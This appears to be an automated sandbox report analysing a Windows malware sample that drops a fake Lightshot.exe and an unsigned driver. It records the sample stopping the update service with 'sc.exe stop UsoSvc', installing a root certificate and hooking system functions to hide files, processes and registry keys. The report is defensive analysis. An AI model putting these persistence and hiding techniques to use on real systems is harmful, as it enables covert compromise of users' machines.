Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: nW2oopMIdg.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: nW2oopMIdg.exe

Static file information: File size 2876416 > 1048576

Source: nW2oopMIdg.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x2b2000

Source: nW2oopMIdg.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Lightshot.exe, 00000024.00000003.2104682850.000001E0A9560000.00000004.00000001.00020000.00000000.sdmp

Source: nW2oopMIdg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: nW2oopMIdg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: nW2oopMIdg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: nW2oopMIdg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: nW2oopMIdg.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\dialer.exe

Code function: 65_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

65_2_00000001408460F0

Source: nW2oopMIdg.exe	Static PE information: section name: .00cfg
Source: Lightshot.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: 0_2_00007FF7EB901394 push qword ptr [00007FF7EB90E004h]; ret	0_2_00007FF7EB901403
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E85896ACDD push rcx; retf 003Fh	31_2_000001E85896ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E85899C6DD push rcx; retf 003Fh	31_2_000001E85899C6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E8589CACDD push rcx; retf 003Fh	31_2_000001E8589CACDE
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 36_2_00007FF7B1C81394 push qword ptr [00007FF7B1C8E004h]; ret	36_2_00007FF7B1C81403
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140ADFDACDD push rcx; retf 003Fh	39_2_00000140ADFDACDE
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE87C6DD push rcx; retf 003Fh	39_2_00000140AE87C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5AACDD push rcx; retf 003Fh	40_2_00000195DD5AACDE
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5DC6DD push rcx; retf 003Fh	40_2_00000195DD5DC6DE
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA2ACDD push rcx; retf 003Fh	41_2_000001160CA2ACDE
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA5C6DD push rcx; retf 003Fh	41_2_000001160CA5C6DE
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001394 push qword ptr [0000000140009004h]; ret	64_2_0000000140001403
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E108ACDD push rcx; retf 003Fh	66_2_00000257E108ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10BC6DD push rcx; retf 003Fh	66_2_00000257E10BC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C1EACDD push rcx; retf 003Fh	67_2_000001F28C1EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C94C6DD push rcx; retf 003Fh	67_2_000001F28C94C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA97FEACDD push rcx; retf 003Fh	68_2_000001CA97FEACDE
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9855C6DD push rcx; retf 003Fh	68_2_000001CA9855C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2652FACDD push rcx; retf 003Fh	69_2_000001D2652FACDE
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26532C6DD push rcx; retf 003Fh	69_2_000001D26532C6DE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Sample is not signed and drops a device driver

Source: C:\ProgramData\Screenshots\Lightshot.exe

File created: C:\Windows\TEMP\yycjbdwxjaoe.sys

Jump to behavior

Source: C:\ProgramData\Screenshots\Lightshot.exe	File created: C:\Windows\Temp\yycjbdwxjaoe.sys			Jump to dropped file
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	File created: C:\ProgramData\Screenshots\Lightshot.exe			Jump to dropped file

Source: C:\Users\user\Desktop\nW2oopMIdg.exe

File created: C:\ProgramData\Screenshots\Lightshot.exe

Jump to dropped file

Source: C:\ProgramData\Screenshots\Lightshot.exe

File created: C:\Windows\Temp\yycjbdwxjaoe.sys

Jump to dropped file

Source: C:\Users\user\Desktop\nW2oopMIdg.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: winlogon.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Windows\System32\lsass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
